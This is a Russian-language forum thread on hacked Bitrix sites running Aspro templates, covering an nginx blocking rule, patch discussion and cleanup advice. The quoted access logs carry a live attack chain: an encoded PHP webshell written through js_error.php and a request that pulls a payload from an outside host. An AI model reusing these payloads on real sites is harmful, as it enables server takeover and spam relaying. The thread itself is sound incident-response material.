вчера смотрел по логам и обнаружил немного новое поведение - наши крысы прям перебирали айпишники для атакующих запросов (запросы всё те же). И запросы были по 1 или по 2 с каждого ip (разный ip относился к разной ASN), точечно, а не десятками сразу скриптом, как раньше.
написал: в результате я решил запретить в nginx запросы с признаками вредоносного кода
Цитата
/etc/nginx/bx/site_avaliable/ssl.s1.conf - только тут, доступ по 80-му порту и так закрыт, других сайтов нет.
Цитата
server { # всякое # attack blocker if ($query_string ~* "(file_put_contents|file_get_contents|base64_decode|js_error.txt)") { return 403; # Deny access with HTTP status 403 }
if ($http_referer ~* "(file_put_contents|file_get_contents|base64_decode|js_error.txt)") { return 403; # Deny access with HTTP status 403 } # всякое }
Лучше сделать через fail2ban и вообще блочить этот IP, а не только nginx, да и конфигурация для fail2ban более "переносимая" плюс через него удобно банить мусорных роботов, ибо от них даже 403-й не всегда спасает. Пример конфига:
написал: У меня на аспро оптимус ночью все сайты заразили, после патча аспро, залили мусор в папку ajax, есть решения у того кто на хосте ?
Пока через блокировки по примерам выше, и не забудь проверить cron и процессы в памяти, если ты не почистил их после заражения ранее - они могли снова подложить гадости, у меня был почищен крон и заменён на запуск гадостей, плюс пара процессов висела в памяти, и спамила почту
150.241.91.213 - - [17/Feb/2025:09:56:46 +0300] "GET /ajax/js_error.php?data=%3C?php%20file_put_contents($_SERVER[%22DOCUMENT_ROOT%22].%22/f4381c28a0cd.php%22,base64_decode(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E HTTP/1.0" 404 140738 "/ajax/error_log_logic.php?data=%3C?php%20file_put_contents($_SERVER[%22DOCUMENT_ROOT%22].%22/f4381c28a0cd.php%22,base64_decode(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2956.10 Safari/537.36"
150.241.91.213 - - [17/Feb/2025:09:56:46 +0300] "GET /ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt HTTP/1.0" 200 2 "/ajax/js_error.php?data=%3C?php%20file_put_contents($_SERVER[%22DOCUMENT_ROOT%22].%22/f4381c28a0cd.php%22,base64_decode(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2956.10 Safari/537.36"
150.241.91.213 - - [17/Feb/2025:09:56:48 +0300] "GET /form/index.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt HTTP/1.0" 200 135417 "/ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2956.10 Safari/537.36"
15
кто может разобраться что делает код который получается.. и как понять какие файлы заразились? Обнаружил кучу файлов разных и в cron вирус и демон был даже...
кто может разобраться что делает код который получается.. и как понять какие файлы заразились? Обнаружил кучу файлов разных и в cron вирус и демон был даже...
Это почтовый релей, то есть через твой сервак спамят почту(так было у меня), теоретически можно вынуть всё что есть на сайте. Что касается, что заражено - это куча мусора в папке ajax, и куча левых папок и файлов в корне вот такого вида:
Там же может валяться и php.ini, который тюнингует параметры php под трояна Лучше всего, если на хостинге есть, закинуть каталог под git, так всегда будешь в курсе изменений, а пока - смотри по дате изменения, запускай поиск файлов созданных после фиксации взлома в логах. ищи по маске php, txt так найдёшь всё свежее И начни с index.php в корне, там вставлен в начале код трояна
Антон Иванов написал: Логи смотрели?Через какой файл прошло заражение? Он был пропатчен?
Можно больше не молиться на так называемый патч от аСПРО.
На только что установленном сайте вот это уже было прописано:
Цитата
Если у вас вместо unserialize используется Solution::unserialize() или CMax::unserialize, то ничего добавлять не нужно. Эти методы уже содержат правку. То есть у вас установлено обновление, устраняющее эту уязвимость.
Итого через пару дней пошло заражение. - файлы типа ***7ea***6eb.php в аджакс папке. Т.е. дырища где-то в другом месте. И почему эта дырища в свежекупленном в 2024-2025г шаблоне от аСПРО, поражает но не удивляет.
Товарищи, подскажите, после лечения сайт работает нормально, но не отображается каталог! На главной товары есть, в разделах - пусто. Кэш чистил в первую очередь. Что это может быть??
Кто пишет, что произошло повторное заражение после установки патча - ищите по датам изменения php файлы, злоумышленники кучу бэкдоров/веб-шеллов оставляют. Где только не нашел! Плюс две задачи в cron добавлены были.
Извиняюсь, вопрос решён. Проблема была с .htaccess (наоставляли в каждой папке - грохнул в спешке все, включая тот, что был в корне). Теперь переживаю, нет ли где еще "нужных" .htaccess, которые удалил
написал: Итого через пару дней пошло заражение. - файлы типа ***7ea***6eb.php в аджакс папке.Т.е. дырища где-то в другом месте. И почему эта дырища в свежекупленном в 2024-2025г шаблоне от аСПРО, поражает но не удивляет.
написал: овость от 06.02.2025 по теме для решений от Аспро: Взломы сайтов на решениях Аспро: как обезопасить проект Проблема актуальна для решений Аспро, не обновлявшихся с лета 2023 года.Для проектов Аспро, снятых с поддержки, есть Патчер безопасности . Прямая ссылка на патчер: https://aspro.ru/upload/fixit.zip (распаковать в корень сайта, перейти по ссылке https://mydomain.com /fixit.php)Информация для исправления вручную: Общая информация по исправлению уязвимости unserialize ЦитатаРешениеДля исправления уязвимости нужно в местах, где используется функция unserialize, указать в качестве второго аргумента ['allowed_classes' => false].Пример:было: unserialize($_REQUEST["PARAMS"])стало: unserialize($_REQUEST["PARAMS"], ['allowed_classes' => false])Обязательно проверить директории:/ajax//include//form//bitrix/components/aspro/Запустить поиск по этим папкам слова unserialize и внести правки во всех местах где требуется.Если у вас вместо unserialize используется Solution::unserialize() или CMax::unserialize, то ничего добавлять не нужно. Эти методы уже содержат правку. То есть у вас установлено обновление, устраняющее эту уязвимость.
!!!!!!!!!!!!! Ни в коем случае не запускайте данный патч в режиме исправления, если не хотите положить сайт !!!!!!!!!! Только в режиме просмотра. При исправлении там сплошные синтаксические ошибки, задвоения аргументов и т.п.
Я использовал этот патч, предварительно локально проверив его работу. У меня он ничего не поломал, применил на 3х сайтах, все ок.
Кто-то еще применял патч? После него были заражения? Этот патч находит все файлы с уязвимым кодом и меняет его на
Подверждаю, все файлы от Аспро пропатчены, хвосты везде где можно вычищены, сегодня снова обнаружил вредоносные скрипты в корне и в assets. По логам зашли через скрипты /ajax (логи забрал для детального изучения).
Судя по всему это дерьмо действует через REFERER (бегло глянул - действительно в запрашиваемых скриптах имеется некая обработка Referer). Вот вся цепочка атаки (время - запрос - referer):
Код
QUERIES:
04:06:59 GET /ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt https://victim.ru:443/ajax/js_error.php?data=%3C?php%20FilE_pUt_contenTS($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/79bb1c7d7b7d.php%22,BaSE64_DecODE(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E
04:07:00 GET /form/index.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt https://victim.ru:443/ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt
04:07:00 GET /ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt https://victim.ru:443/ajax/js_error.php?data=%3C?php%20fiLE_pUt_contenTS($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/79bb1c7d7b7d.php%22,File_GEt_coNTeNTs(%22http://looklong.com/accesson20.html%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E
04:07:01 GET /form/index.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt https://victim.ru:443/ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt
04:07:01 GET /form/index.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt https://victim.ru:443/ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt
Первая попытка закинуть через base64 вероятно оказалась неуспешной, далее видим, что отсюда качается payload - http://looklong.com/accesson20.html (не знаю, можно ли такие ссылки оставлять???) После этого следующий запрос уже к accesson.php, первый раз со статусом 301 (там при вызове определенные условия должны соблюдаться злоумышленником, чтобы не получить Forbidden), второй раз уже 200 и пошло-поехало, POST запросы к нему и создание всякого на сервере в папке /ajax. Планирую сейчас повторить действия ну и дальше уже видимо допиливать безопасность скриптов /ajax/form.php и /form/index.php (безопасная десериализация присутствует - патч от аспро установлен).
написал: Судя по всему это дерьмо действует через REFERER (бегло глянул - действительно в запрашиваемых скриптах имеется некая обработка Referer).Вот вся цепочка атаки (время - запрос - referer):
проверьте у себя наличие файлов: /ajax/error_log_logic.php /ajax/js_error.php
если они есть, то 99% взломали с использованием этих файлов.
по факту у Аспро были дыры минимум двух типов: 1) опасный unserialize — лечится, через добавление allowed_classes 2) запись вредоносного кода в лог-файл js_error.txt через дыру в /ajax/error_log_logic.php, а далее запуск этого кода как инклюда при вызове "дырявых" /ajax/form.php или /form/index.php
и Аспро было уже как минимум две версии патчера: 1) лечил только unserialize 2) во втором также закрывалась вторая дыра путем удаления дырявых файлов /ajax/error_log_logic.php и /ajax/js_error.php и закомментирования небезопасного когда в /ajax/form.php и /form/index.php.